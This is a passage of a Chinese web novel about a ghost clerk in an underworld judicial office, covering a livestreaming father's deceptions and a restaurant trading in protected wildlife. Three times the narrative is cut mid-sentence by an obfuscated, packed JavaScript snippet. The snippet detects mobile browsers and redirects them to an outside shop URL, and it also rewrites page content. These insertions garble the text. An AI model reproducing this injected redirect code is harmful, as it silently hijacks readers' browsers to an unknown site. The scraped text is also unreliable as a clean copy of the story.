路期抬手,轻轻贴近荔枝的额头处,淡淡光晕浮现,紧接着,荔枝呆呆愣愣地看着路期抬起的胳膊,感受到一股清凉舒爽,从红肿处扩散开来,那闷闷的痛感被迅速抹去,消失的无影无踪。 “真的不疼了哎,路期,谢谢你!”荔枝说完时,眼神有留意到,路期的黑曜石吊坠,颜色隐隐变浅了一点。 “走了,我们下次再来。”路期对张染说。 荔枝也趁机和张染打了一个再见的手势,张染微微一笑,意味深长地看着二人离去背影,对张荔枝不了解,但对路期却格外了解,当路期会第一时间使用灵力,帮这个临时工小鬼愈合伤口时,就证明这个小鬼在他心里是有一定的存在感。 出了档案馆后,荔枝一路上还在碎碎念着。 “阴律司看起来,情绪很稳定的样子哎!” “阴律司平时很少出现在判官司是不是?” “他手上还戴着戒指,他结婚了吗?” “......” “戒指是他的灵器,还有,判官司办公室,禁止恋情。” “......”荔枝听路期的突然开口一时语塞,顿后立即解释道:“我,我没往那想!!” 回到判官司办公室,见谢范二人押着一对夫妇在此。 男人叫宋福新,年龄四十出头,但看起来像五六十岁了,一只腿有残疾,拄着拐杖;女人叫马凤娇,不到四十,表情木讷。 宋福新见了办公室进进出出的人都客气低头地打着招呼讨好着,生怕惹得谁不开心,马凤娇一言不发,躲在宋福新身后举止反应颇显愚钝。 “小伙子啊,我们这事是不是可以调剂一下啊,这家里一堆营生呢,还有那么多张嘴等着吃饭,最小的才四岁,孩子离不开他娘啊。”宋福新小心翼翼开口道。 “叔,我们说了不算,只负责带你们过来,到底什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482467|201827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况呢,这边自会给你们一个交代的。”谢平安彬彬有礼回道。 “实在不行我俩留一个,另一个先放回去也好啊。” “安静等着。”这次是范明天冷冷回道。 “什么情况啊?咋直接送办公室来了?”荔枝悄悄问谢平安。 “意外中的意外,俩人在户外河边直播,大风刮倒直播架,男的去捡,一不小心被绊河里去了,在河里喊他老婆救他,他老婆也不会游泳,结果俩人就都交代了。” “这也太背了吧......” “我和小范去接的时候也挺纳闷的,尸体凉了一般是不会再让其复生了,但又不确定他俩够不够去天堂或者转世的资格,就只能先送这来了。” “我和小路要去老贾那开个会,估计得晚点才能送他俩去档案馆了。”周渡手里还在整理着会议记录,路期在一边倒是很闲。 “档案馆?你们没时间就让我去吧!”荔枝一听到档案馆,就想起了张染。 一旁的路期抬眼,下颌线条紧缩,“你倒是挺积极啊?” 周渡笑笑,“那就太好了,你带他们去档案馆,查一下俩人是不是阳寿已尽,以及一些家庭情况资料,打印出来拿给我们就好。” “收到!” 荔枝刚离开,周渡露出了一股玩味的微笑,面对路期说道:“我刚刚忘记告诉荔枝妹妹,张染也会和我们一起开会了。” “哼。”路期低气温的冷哼,一副对周渡爱搭不理的样子。 荔枝再次回到档案馆才知道张染不在。枉费自己刚刚对着镜子一顿整理发型刘海。 找了档案馆其他小阴差帮忙,宋福新夫妇站在扫描仪器下经过检索,便调出了二人的在世相关记录资料。 记录不少,荔枝一页一页地复印着。 随着纸张缓缓从机子里出来,荔枝瞥到了宋福新的家庭成员那一页。 宋福新,无父,母亲健在,妻子马凤娇,智力低下。育有四女,分别是宋亚男、宋胜男、宋依男、宋梦男;另有一儿宋俊卿。 “这些名字起的,有点说法。” 荔枝对这种名字的概念还停留在过去的年代,往往偏远且经济不够发达地区的父母,会把自己的意愿反映在孩子的名字上,例如招娣盼娣念娣等,只是没想到如今这个时代,竟还有这类名字。 看到唯一的小儿子宋俊卿的名字,荔枝莫名的对这对残疾夫妇收回了一丝同情,可见只有小儿子的名字起的用心。 宋福新看到自己的生活经历等信息都被一一打印了出来,突然慌乱无比,眼睛紧紧盯着这些纸张。 荔枝见这些内容还要印一段时间,于是走向了旁边张染平时办公的书桌,干净简约,收纳整齐,甚至还精致的放了香氛蜡烛。 “一看就是斯斯文文的男孩子呀。”荔枝自顾自欣赏着,全然不知宋福新趁她注意力分散之时,悄悄地拿走了一页纸张。 7. “励志父亲”(下) 回判官司后周渡、路期和黎想分别传阅了纸质内容,大概就是宋福新属于天生残障人士,经母亲运作介绍与邻村智力不全的马凤娇结婚,后面开启了生育之路,其中二女儿与四女儿都遗传了马凤娇的智力问题,直到有了宋俊卿后停止了生育。 夫妻二人的经济来源前期主要靠低保补助、社会捐款以及大女儿打工挣钱;后期二人开通直播带货,平时的短视频拍摄内容以夫妻恩爱励志生活和残障二女儿跳舞为主。 将宋福新二人先安置在外屋后,路期又叫来了唐木和戒睿,张染开完会后也直接来了判官司。 “哎呦喂!今儿判官司人这么多呢!”唐木见到荔枝就颠颠坐到荔枝旁边,“嘿张荔枝!一会儿一块去食堂!” “好啊。”荔枝嘴上回着唐木,眼底暗戳戳的看向张染方向,见他安静地靠在桌子上,低头翻阅着。 “小唐,把你和戒睿搜集到的物料视频放一下吧。” “好嘞周哥!” 一个眼神,唐木和戒睿乖乖的合体隔空释放灵力,投屏在办公室的幕布上。 视频内容里显示,宋福新艰难地拄着拐杖扛着重物,标题是:顶梁柱残身父亲励志抚养五个孩子。后面又显示帮智力不全妻子洗脸煮粥等。 随后又播放了宋福新的直播内容,无疑是和大家到诉苦水,一边供孩子上学一边为老婆治病,希望得到大家的支持,多多下单购物车商品等,并表示给到大家的绝对是最低的价格。 “这不就是卖惨么?虽然看起来,的确是很惨。”黎想说道。 “我有一个疑问......”唐木故作沉思两秒,荔枝却觉得他没憋好话,“他夫妻二人都这样了,怎么生的这么多娃?” 大家翻了翻白眼,没人搭理唐木。 “不儿,你们不好奇吗?” “闭嘴吧你。”荔枝悄悄手指戳了一下唐木胳膊。 “小谢在二人身上收到了地狱感应,说明他俩应该不是无缘无故就来地狱的,但现在看来,除了卖货话术坑点,以及没有优生优育,好像也没什么别的问题。”黎想道。 “不能看表面,我觉得马凤娇也有问题。”周渡道。 “怎么说?”黎想问道。 “马凤娇看起来没有自主行事能力,你们觉得,她会有生孩子那方面的意识吗?” “咦,你怎么和唐木一个德行了。”黎想吐槽。 “黎姐,我和周哥这个方向绝对经得起推敲,这大姐都这样了,她能懂啥,保不准是被骗来的呢。” “我看还可以从这几个孩子切入了解一下。”路期说道。 唐木继续回应,“对对,资料里老二和老四遗传了智力问题,都在读特殊教育学校。” 路期再次翻阅着复印件,突然眉头紧皱,来回翻看了两页,“这里应该缺一页。”路期抬头,眼神冷厉、带着疑问看着荔枝。 “张荔枝?” “我看看,”荔枝马上起身快步走到路期身边,在宋福新的儿女成员介绍里,有两张的确是上下页连接不够通顺。 “是哎,可怎么会少一页呢......” 荔枝的脸一下白了,心慌意乱,是自己路上不小心掉了吗? 路期刚想开口,这时一旁本安静的张染声音清润平和,“别急,我陪你回去再找一遍就好。” 路期和荔枝这次同时看向张染,路期隐约凝滞了一刹那的波澜,而荔枝则是眼中充满了感激与安心。 “谢......谢谢。” “走吧,不然该影响你吃饭时间了。” 不得不承认,张染有一种魔力,他的情绪稳定到可以随时安抚着任何人。 唐木在身后也催促道:“快去快去!食堂门口等你!” 与张染同行,荔枝说不出的心情,如果不是工作,将会无比兴奋的状态。 “哦对了,宋福新的腿脚不好,我怕他......再走到档案馆会不会吃不消......” 荔枝突然想到,以宋福新那个腿脚,之前那趟路程已经极限了,可又很需要他本人到场,检索起来会更快速方便。 “我说陪你了,还需要你们步行吗?” 张染挥了挥手,亮出那个钢制黑珐琅戒指,是他的灵器,暗指他会用灵力将大家送过去。 “可以同时这么多人一起吗?” “我把你送过去后,再回来接他们。” “你好善解人意啊。” “哈,这点小事就能把你收买啊。” 荔枝不敢表达,实则内心早已对张染有光环加持了! 并且荔枝也有注意到,张染送完三人时,戒指颜色也在微微变浅。 经过重新对宋福新检索扫描后,果然发现了遗漏的那一页内容。 “你还有过两个孩子?!”荔枝惊讶着质问宋福新。 此时宋福新也兜不住了。本来缺失页就是他偷偷销毁的。 “意外,真的是意外,凤娇身体不好,没保住......” “是意外,还是刻意为之?”张染轻声质疑。 “真的是意外啊!我们都养了这么多孩子了,还差这两个吗?不就是多两双筷子的事,你们说对吧?” “对什么对,大叔,你这重男轻女的思想,我都懒得说你了,当你的孩子,也是倒霉。”荔枝说到后半句时声音明显变小。 “你瞅瞅你这姑娘咋说话的,谁的孩子谁不疼啊?我们可是凭自己的双手将孩子们拉扯大!” “你那是凭自己吗?我都知道,你大女儿早就不读书了,一直在打工补贴家里,你还利用二女儿跳舞直播挣打赏......” 不等荔枝说完,宋福新气愤反驳:“你懂什么!我女儿热爱表演!” “你们家最能演的就是你!” “这是我们自己家的事!不劳你操心!” “我才没想操心!” 一旁的张染看着气鼓鼓的荔枝,不由得想笑。 回到判官司后,荔枝莫名地越发看着宋福新来气,一点怜悯之心都不复存在了,一到办公室就向黎姐告状着:“我总觉得他不像个好人!” “好人坏人的界定很难,或许利他之人是好人,损害他人利益之人是坏人,而大多数人只要做个无害之人就很好了。” “黎姐,你觉得宋福新会是无害之人吗?” “宋福新天生残疾是不幸的,但他传宗接代的观念太重了,不考虑把不健全的孩子带到世界上会面临什么,只考虑自己的养老问题,其实在我看来,孩子的问题还小,最受伤害的可能是没有自主行事能力的马凤娇了。” 没想到在审判宋福新夫妇前,还发现了让人更大跌眼镜的事,也奠定了宋福新最终还是进了炼狱的结局。 路期与周渡去了宋福新的葬礼,处理出殡等一切事情的,竟是宋福新除了马凤娇之外的二老婆。 马凤娇由于没有行为能力,家里一直都是二老婆这个女人在操持,而关注点是,参加葬礼的孩子,除了宋亚男、宋胜男、宋依男、宋梦男,宋俊卿等五个孩子之外,还有一个女孩,宋婷。 路期用灵力取了宋婷的几缕头发,回来后找张染检测后确认:宋婷也是宋福新的女儿。 “来来来快点吧,早交代完早散场,我这都熬了两个大夜了。”贾亭西一脸不耐烦,宋福新这段属于意外多出的工作量,加班总是没好心情。 “领导,我们太冤了,我们这家庭真的不容易,而且我才四十二,我老婆三十六,我们命不该绝啊!” “你别跟我这卖惨,我不是你那些热心网友,我是你的无情阎罗王,你少跟我扯没用的!你打掉的孩子已经被超度过了,她以后会投去个好人家。” “什么啊......我不知道啊......领导,长官!命运已经对我不公了,可我依然把我的懂事孩子们抚养成人,你们不能这么对我啊!” “装?”贾亭西拿起周渡整理好的文件资料,向宋福新扔去。 “这......我看不懂。” “你除了有四个女儿一个儿子之外,还有过两个孩子吧?它们一个还未出生就被打掉,因为你私通了医生提前知道了是个女孩!另一个孩子,不用我多说了吧?宋婷,也是女孩,被你低价卖给了你那单身汉老叔!” 此时宋福新已开始不自觉抖动身体。 荔枝震惊,唐木也在耳边小声念叨:“也太不要脸了......” 宋福新突然又打起精神说道:“是我老婆!她身体一直不好,她一直想多要几个孩子,孩子少怕以后照顾她压力大!再加上我们条件不好,没有能力做好避孕措施.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你个小女鬼!贪心不足蛇吞象啊,还真以为提成能拿的这么容易啊?等你转正再说吧。” “......” 荔枝又恢复垂头丧气,这样看来,转世真的是遥遥无期了。 “你很缺功德金哦?”温和的声音在耳边响起。 荔枝转身望去,只见张染不知何时站在了不远处,手里还拿着刚刚审判宋福新时记录的过程纪要。 因为刚刚关注点都在宋福新身上,没有注意到张染今天换了一身新中式素色常服,肩颈处刺绣着细竹,清爽雅致。 在荔枝心里,如同这阴暗地府里的一缕白月光。 “嗯......我功德金太低了,也不知道哪辈子才能攒够转世。”荔枝收回了对张染的涟漪眼神,蔫蔫地说着自己的窘况。 “你的事我知道,这样吧,如果你愿意的话,不忙的时候可以来档案馆,和那些小阴差一样,协助整理一些文书资料,也不累,细心点就好,也有功德金领,这样你日常花费是不是就可以松弛一点。” “真的吗?我去!我去我去!谢谢你张判官!” “叫我名字就好。” “你要去哪啊?”一股熟悉寒意的少年感音袭来。路期依旧散漫地走来。 “路期,我要去张染那里兼职!”荔枝还沉浸在喜悦之中。 “我有同意让你去吗?判官司有事怎么办?” “没关系,我告诉荔枝了,不忙的时候来就好,有事我也可以送她回去。”张染平静说道,荔枝在一旁点点头。 “我在问她呢。”路期显然对张染这种拥护行为有一丝不爽。 荔枝赶紧回道:“我老板讲的都对!” “你老板?” “对啊,反正档案馆是张染在负责不是?我去那里兼职,当然就算我老板啦!” “我还是你直属领导呢!”路期突感不悦。 荔枝眨了眨眼睛,这是什么意思?强调身份大小?但也不无道理。 张染在一旁看在眼里,于是打着圆场道:“好啦,荔枝,你平时还是留在判官司就好,可以周末时间过来。” “好呀!”荔枝愉悦应着,但路期不再停留,转身扭头就走,比来时更显得冰冷。 荔枝见状挠了挠头,看着路期背影,后知后觉地小跑跟了过去,跑了一段距离后,还是忍不住回头,看了一眼刚刚的地方,原本张染站的位置已空空如也了。 8. 信仰的背后(上) 等来一个休息日,荔枝去了商业街,像个出笼小鸟般东看看西逛逛,还舒舒服服地吃了个下午茶。 采购完毕,心满意足地提着东西往回走,也将上次奖励的功德金花的所剩无几了,意识到这点后,不免又生出小情绪,这样下去,怕是要在这地府里打一辈子工了。 路过一条相对僻静的岔路时,被路边一个显眼摊子吸引了目光。 字体很夸张的三个大字——神算闻。 一张小木桌,桌后坐着一个穿着长衫的男人,未刮的胡渣,未修饰的头发,随意扎了一个小狼尾,手持一把大号折扇,折扇上行楷三字:野路子。 而桌子对面坐着一个女顾客,在等其指点迷津。 荔枝感慨道:“看来人有的时候真的需要一个信仰,哪怕是算命,也是一种精神寄托吧。” 可当荔枝走近摊位时,就想收回刚刚的想法了。 只听顾客道:“大师,您前年说我去年能则一良人一起投胎,去年又说我今年能找到良人,可为啥如今良人还不出现呢?” 大师回道:“哦?今年多大啦?” “三十四了。” “谈过几次啊?” “哪有时间谈啊,一直在读书呢。” “读到什么程度了?” “博士。” “这就对了,是知识改变了你的命运!” “大师,我接下来该怎么办?” “去吧!你的目标应当是院士。” 女顾客离开后,荔枝在旁边听得是目瞪口呆,怪不得是野路子,正觉得好笑,算命师父慢悠悠抬眼看着荔枝,并招了招手示意。 荔枝也配合坐了下来,倒不是真信这个,纯粹是无聊没事干。 “我姓闻,闻于野。” “你好,闻老师。” “哎~不用拘谨,见你是生面孔,可是刚死不久?” “死了......有些天了。” “不重要,来吧,说出你的梦想。” “我想复活。” “换一个。” “......” “哎~这样吧,说出你的烦恼。” “我缺功德金。” “我也缺。” “?这对吗?” “哎不重要,跟我讲讲你的情况,我可以帮你。” 虽然这闻人野看起来极度不靠谱,但荔枝的想法是,就当是遇见个低配版心理咨询师聊天也罢。 “闻老师,你说人为什么死了还要上班呢?我不想上班,可我又需要功德金。” “嗯,你不想上班,一定是这个班不行,给的功德金不到位。” “是的闻老师!我的工资好低的!” “我有一个办法。” 荔枝睁大双眼,充满期待地看着闻于野。 “看什么看?五十告诉你。” “啊?” “你给不给吧。” “你最好是真有办法!”荔枝又问了这里可不可以面部识别付功德金,闻人野说当然,自己这是正规作坊,有营业执照的。 收了五十后,闻人野折扇一挥问道:“你现在的工位坐在哪里?” “西边...靠墙。” “这就对了,西边克你,你挪到东边坐,有灵光,还补钙。” “......再没了?” “还有什么问题?” “我感觉,转世之路遥遥无期。” “这是有东西克你,不如你再刷五十请个符?” “......”荔枝攥紧了拳头,眼睛凶巴巴地盯着闻人野。 “女鬼妹妹,你这眼神,不太友好啊。” “你还我五十......” “哎~这怎么还玩不起了呢。” “我玩什么了!” “好啦,这样,我保证你下次还会来找我,我一直在这。” “我下次会来打你。” “哎~下次给你免费,这总行吧?咱俩以后就不用分那么清了。” “老师,你缺的不是功德金,你是纯缺德!” 离开这个离谱的摊位,荔枝越想越心堵,干脆回公寓睡了个天翻地覆,梦里都是警告自己,再也不要相信这些玄学了! 这种心情一直延续带到了第二天的工作之中,见了新一批将要押送的小鬼们,双眼无神,都没有了热忱的情绪。 一个身材臃肿,头发见秃的中年男鬼,客气地上前问道:“妹子,我问一下,我这是死了?” “是。” “那,这里是地狱?” “是。” “我......我是食物中毒啊,不能再抢救一下活过来吗?” “不能。” “我冤啊,妹子我真的冤啊!” “大哥,其实来这的都这么说,上一个喊冤的都进炼狱了。” 只见这男鬼连连后退几步,竟双手合十,闭上双眼开始做祈祷,随后摘下手串盘了起来,边盘边念着类似咒语的语言。 今天只有戒睿自己来找荔枝吃午饭,唐木巡街未回,而戒睿只需要晚上接替唐木。 戒睿无事,便说陪着荔枝一起押送这批新鬼,荔枝当然高兴,有了戒睿的灵力加持,自己再也不愁遇见不听话的鬼了。 因为戒睿的清秀小和尚形象,盘串的中年男鬼很快注意到,男鬼主动凑了过来,双手合十,行了个相对标准的佛礼。戒睿见状赶紧回礼。 “小师父,我叫胡兴顺,能在这里遇到你实在是太好了!说起来我也是个信佛之人,没想到,唉......” 戒睿连连摆手,被一声“小师父”叫的有些不好意思。 “您好,我...我不是什么师父,我叫戒...戒睿,只是个小办事的,您看起来很...很平和,是...是修行之人。”戒睿说话一向磕磕巴巴,可能也源于他性格真的很社恐。 “唉......修行不敢当,只是一心向善,谨守本分罢了,谁想到这飞来横祸,你说有我这么倒霉的?吃错东西给自己吃死了!唉!” “别...别灰心,您把情况...跟领导...讲好...就好。” “哎,戒睿小师父,你可有法子帮我,遇见你我认为是缘分,不瞒你说,我生前给那些叫得上名的寺庙,香火钱都是悉数捐赠的,还记得有一年,南山寺火灾,我也表尽了心意,帮玄明法师渡过难关,你说我们这种人,为何也没落个好去处啊。” 听到“南山寺”三个字,戒睿浑身一震,声音因激动更显迟钝。 “您是说......南山...南山寺,烟城的...寺?” “对啊,当年我捐款,就是为了在家乡,让更多老百姓都有地方祈福,我心里也踏实。” 戒睿听得也是眉头紧皱,因为自己在世时也是南山寺的僧人,玄明法师也是自己的师父,而那场大火对于南山寺而言无疑是一场大劫,那时候没有重建寺庙的资金,全靠玄明法师的好人缘与社会捐助才得以保留,南山寺是戒睿从小长大的地方,故乡情结根深蒂固。 出于对胡兴顺的同情,戒睿跟荔枝要来了花名册,看到了胡兴顺的死因,的确是食物中毒。 胡兴顺,顺兴大酒店老板,入地狱的原因:杀生。 戒睿一脸的不可思议,一向礼佛之人,怎会杀生呢? 荔枝和戒睿在去食堂的路上偶遇了谢平安和范明天,于是吃饭时坐在了一起,戒睿主动开口问了谢平安,胡兴顺真的没有接错吗。 “不会啊,我和小范在他身上都感受到了浓烈的地狱气息,他不是因为杀了人吗?” “不......不会!”戒睿反驳道。 大家瞬间都震惊于戒睿的反应,因为平时戒睿一向说话轻声细语,也很少说话,也没有情绪不稳定的时候。 “戒睿,你很关心他哎,他是你家亲戚?”谢平安小心问道。 “不是,反正,不会。” “天真。”一旁的范明天懒懒说道。 戒睿默默地低下了头,一口一口地扒着饭。 荔枝一直觉得戒睿就是个不谙世事的孩子,性格单纯,必是见胡兴顺礼佛的言行举止有了好感,于是瞪了一眼范明天。 “也有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482469|201827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,没准,他这个就是指杀过鱼猪牛羊之类的,他不是开酒店的吗,正常正常,避免不了啦。” 荔枝说完,谢平安也附和道:“对对对,咱炼狱一层里不是也有过类似情况么,老贾让干了一年活就放了。” 范明天摇了摇头,对于荔枝和谢平安这种哄孩子行为不予理解。 胡兴顺乘坐的那班次黄泉公交,他并没有直达地府的资格,而是在迷魂殿站下车,此站是一个需要说实话的地方,往往是小鬼们对自己生前做过的错事拒不承认,所以荔枝觉得胡兴顺并非看起来那么冤枉。 没想到迷魂殿那边关于胡兴顺的污点清单快的出奇。结果依然是杀生。但的确没有任何人命在身,甚至连间接伤害都没有。 对于杀生这个概念始终觉得太笼统,如果杀小鱼小虾等食物来源,那不至于,任谁都避免不了,连地府食堂每天都不知道要吃掉多少只鸡鸭,所以荔枝觉得可能是另有其因。 不明不白的清单报告递给贾局长,必然是会挨骂的,也影响贾局长的判断,所以荔枝决定汇报给路期,让路期送自己去胡兴顺的酒店现场考察一番。 没成想还没来得及告诉路期,戒睿先找到了荔枝,讲明想要同荔枝一起去查此事的想法,荔枝问他不需要去巡街吗?戒睿让唐木代替自己了,把胡兴顺的事情解决后再替回唐木。并希望荔枝先不要告诉路期和周渡。 荔枝对戒睿的请求是不忍拒绝的,因为戒睿实在太乖了,任谁与他相处,都会忍不住想要保护他的那份纯净。 唐木很了解戒睿,加上唐木的三八性格,一向藏不住秘密,便把戒睿要跟荔枝去查胡兴顺的事情告诉了谢平安和范明天。 谢范二人对此事隐隐担忧。 而荔枝也很好奇。 “戒睿为什么这么上心胡兴顺的事啊?就因为他信佛,就爱上了?” “荔枝姐姐,慎言呐。”谢平安道。 “他不是爱胡兴顺,他是爱南山寺。”范明天道。 “嗯?”荔枝和谢平安几乎异口同声,看来谢平安也不知道。 “戒睿就是死在南山寺那场大火。” “啊?”荔枝和谢平安又是异口同声。 “你俩再这么傻我不讲了。” “戒睿从小就生活在南山寺,没怎么接触过外面的世界,比较依赖玄明法师,那场火灾,戒睿救了很多同门师兄弟,本来他都逃出来了,得知有个被困的消防员,他怕消防员找不到逃生出口,又冲进火场去救消防员,然后再也没出来过,那天我值班,收到指示去接他的时候,他全身上下,黑乎乎的,还一脸天真的问我,消防员安全了吗?” “南山寺的重建项目,胡兴顺捐款了,这样戒睿那些庙里的师兄弟们不必再去离家远的寺庙了,戒睿一定是很感谢胡兴顺这类人,如果直接交给判官司去查,周哥和路哥不会对胡兴顺有怜悯之心,如果有冤情,戒睿更想借此报答胡兴顺。” 这可能是荔枝认识范明天以来他说的最多话的时候了,平时恨不得几个字蹦着说。 “那......他为什么会选择来地府呢?”荔枝问道这里时,眼眶已微红。 这点谢平安可以回答荔枝,“我们地府的所有在编人员,包括贾局长,工作期满后,不是都有选择投胎人生的权利嘛,我猜戒睿,下辈子还是会选择当个普度众生的小和尚。” “傻孩子,下辈子乖乖投胎当个富二代多好。” “道理是这样,但有的人最终还是选择了重活一遍他的前世呢。”谢平安道。 “那你们俩......前世是因为什么呢?” “你别管。”范明天傲娇道。 “嘿嘿,荔枝姐姐,等以后我告诉你。” 范明天瞪了一眼谢平安,谢平安脸颊微红低下了头。荔枝看得出来这二人背后一定也有属于他们的故事。 “好啊,总之,我知道,你们都是小英雄!” 荔枝意识到身边的每一个人,生前一定都是雷锋般的英雄人物,才会来到地府任职,贾局长,周渡,路期,张染,最让人敬佩的感觉当属黎姐,地府为数不多的女性了。 9. 信仰的背后(下) 戒睿除了性格乖巧单纯,还过于重视时间观念,提前了约定的半个小时等荔枝,导致荔枝心生愧疚,并且戒睿还很贴心的准备了两顶帽子,荔枝差一点忘记了,自己去人间怕阳光这事。 顺兴大酒店。 这名字乍一听很土,但没想到走进去,内部景象让荔枝和戒睿纷纷瞪眼,与其说是一个酒店,不如说是一个展示佛文化的高端展厅,可见胡兴顺的家底有多雄厚。 服务员的衣着也是改良版禅意元素,背景音乐是舒缓的大悲咒,空气中没有食物的异味,反而充斥着香火气。 酒店面积很大,转了一圈,包间不计其数,散客反而不多,各个楼层的大厅都是请的佛像法器之类,VIP包间里也有各类菩萨像。 胡兴顺的离世好像并没有影响酒店的正常运营,胡兴顺的老婆挑起了大梁,一切看起来依旧是井然有序。 和戒睿转了几层,也没有发现什么异常之处,难道真的是自己多心了吗? 眼看没有什么收获,荔枝和戒睿决定撤离,在此之前,荔枝对戒睿说道:“等我一下,我去个卫生间,回来我们就撤。” 戒睿乖乖应道。可正是这一举动,让事情出现了转机。 对于人类来说,荔枝是隐身状态的,但荔枝还是想要尽量避开有人的时候,自己不像路期他们可以用灵力将厕所门关上,只能在开着门的隔间“方便”,可酒店的马桶是智能感应冲水,荔枝起身的时候,马桶还是感应了自动冲水。 这让路过的保洁阿姨震惊不已,动作一颤,阿姨看着空无一人的隔间,自言自语道:“这马桶坏了?” 荔枝也被吓到,没想到如今的智能马桶竟如此“智能”,连鬼都能感应到。 离开卫生间,经过走廊,路过一间VIP包房时,门刚好是开着的,服务员在里面帮每位食客盛着汤。碰杯声夹杂着谈笑声,想来对菜品相当满意。 “赵总,怎么样?咱本地可只此一家,胡老板出事后我还担心以后吃不到如此大补的美味,结果胡老板老婆也很能干啊!再也不愁吃不到这‘雪山灵甲’了。” 雪山灵甲?这是什么菜?好奇心驱使着荔枝走进了包间,这一看,一股寒意顺着脊椎散开。 正中间的大瓷盘里,菜肴所剩不多,但摆盘依稀可见,残存的骨头、爪子形状、以及用作装饰的一些硕大鳞片,让荔枝顿感不适。 此时服务员又上了新菜,走时将门随手关上了。 这令荔枝汗毛立起,意识到了自己无法打开房门,如果没人出去或进来,自己岂不是要呆到这帮人吃完饭散场,又没有灵器联系戒睿来救场,顿时欲哭无泪。 “赵总,来,尝块狸肉,一绝啊!” 狸肉?荔枝立即细看新上的菜品,又参照中间瓷盘的主菜,瞬间明白了。 狸肉是果子狸,‘雪山灵甲’是穿山甲。 好在,趁其中一位中年人上厕所之际,荔枝趁机跑了出来,撞见戒睿在焦急的四处寻找自己,拉起戒睿就跑。 “荔......姐姐,终于...找到你......去去哪?” “戒睿,我们需要去确定一件事!” 拉着戒睿跑向厨房,穿过后厨,看到了一个隐秘的小铁门,荔枝让戒睿用灵力打开了铁门,通过了一个狭窄的廊道后,映入眼帘的是与酒店前厅光的鲜亮丽截然不同的世界。 一排排锈迹斑斑的铁笼,大大小小,堆积在简陋的棚子下。笼子里,关着各种各样的野生保护动物。 眼神惊恐、鳞片失去光泽的穿山甲;羽毛脏污的不知名禽鸟,两只奄奄一息看起来只有几个月大的小猴子。 棚子外更是堆积了双倍数量的笼子,都是矮笼,里面挤压关着数不清的小狗,有大有小的体型,有田园犬,也有很多名贵犬种,小型犬勉强抬得起头,而大型犬只能压低着脑袋,蜷缩着身子。 地面污水横流,残留着食物残渣和动物排泄物,笼子周围剐蹭着动物皮毛与干涸的血迹,空气中弥漫着难以言喻的腥臊与粪便味。 戒睿忙闭上眼睛低头,不停转动佛珠嘴里念诵着经咒。张荔枝眼眶泛红,脸上血色尽褪,浑身颤抖,声音破碎。 “戒......戒睿,我们该怎么办......我们怎样才能救它们啊......我......我真的很想救......” 戒睿不敢睁开双眼,只一味地复诵超度着,是信仰带来的冲击。 荔枝深吸一口气,强行压下心头无力的怒火,可眼泪止不住地流着。 戒睿稍加平复后,颤抖着胳膊,慢吞吞举起佛珠,用力低念,只见空中发出一圈圈佛珠光芒,戒睿整个身子又旋转了一圈,将光芒笼罩了整个空间。 荔枝知道他是在施以灵力,记录下这个残虐场景。 良久,戒睿对荔枝说道:“姐姐,能陪我,再去一个地方吗?” 路期回判官司后察觉大半天都没有见到张荔枝,问了黎姐,黎姐表示荔枝今日没有来过判官司。 “不请假就敢不来了?”路期叉腰道。 “我觉得荔枝不会,她比谁都渴望转世,哪敢不上班?”黎想说道。 周渡带着戏谑路期的语气说道:“或许,问张染。” 这对于路期而言的确是有哪壶不开提哪壶的作用,路期拽了拽胸前的黑曜石吊坠,绷紧了下颌线,摔门而去。 “你看你,你说你没事惹他干啥?还坑了一把小张。”黎想对周渡这种趣味行为吐槽道。 周渡只顾偷笑了几声,“好玩。” 路期也是真的去了档案馆,随便找了个查案卷的借口,但并没有看到荔枝的身影,多一分钟都不多留,徒留张染一脸茫然。 直到回去路上看到了谢范二人及唐木,感到很反常,往时见到路期,唐木都是路哥长路哥短的问好,这会儿三个人都躲着自己走。 毕竟三人都答应了戒睿,替他掩盖这次行动。 路期拦住了三人,“戒睿呢?怎么没和你们在一起?” 范明天不会开口,唐木不擅长撒谎,还是谢平安敷衍道:“路哥,他......巡街还没回来呢。” “和张荔枝一起巡街?” 面对路期突来的提问,三人均默不作声,几秒后,谢平安又解释道:“荔枝姐姐啊,她应该是在牌坊那里押小鬼吧......” “原地等我,如果不是,我废你们一半灵力。” 路期刚要转身,唐木慌乱,忍不住道:“路哥别,千万别,我们修炼这点灵力都挺耗时耗力的......戒睿和张荔枝一起去查胡兴顺那事了!” 范明天冷哼一声,谢平安无奈地白了一眼唐木小声埋怨道:“唐木你真的是......太狗了......” “我有什么办法......你们想平白无故失去一半灵力啊!” “他是炸你。”范明天淡淡道。 “啊......”唐木后悔中,的确,路期只是嘴上不饶人,深知修炼灵力的不易,不可能对自己人下手。 但当反应过来这点时,路期已消失在三人面前了。 而谢平安赶紧用灵器联系了戒睿,提前给戒睿打了预防针,让他和荔枝趁天还没塌赶紧回来,但并未收到戒睿的回复感应。 戒睿带荔枝来到了南山寺。 荔枝能猜到,只是到了南山寺地界时,顿感不适,不知道是不是阳光太过强烈的原因,让荔枝忍不住找阴暗的路段前行。 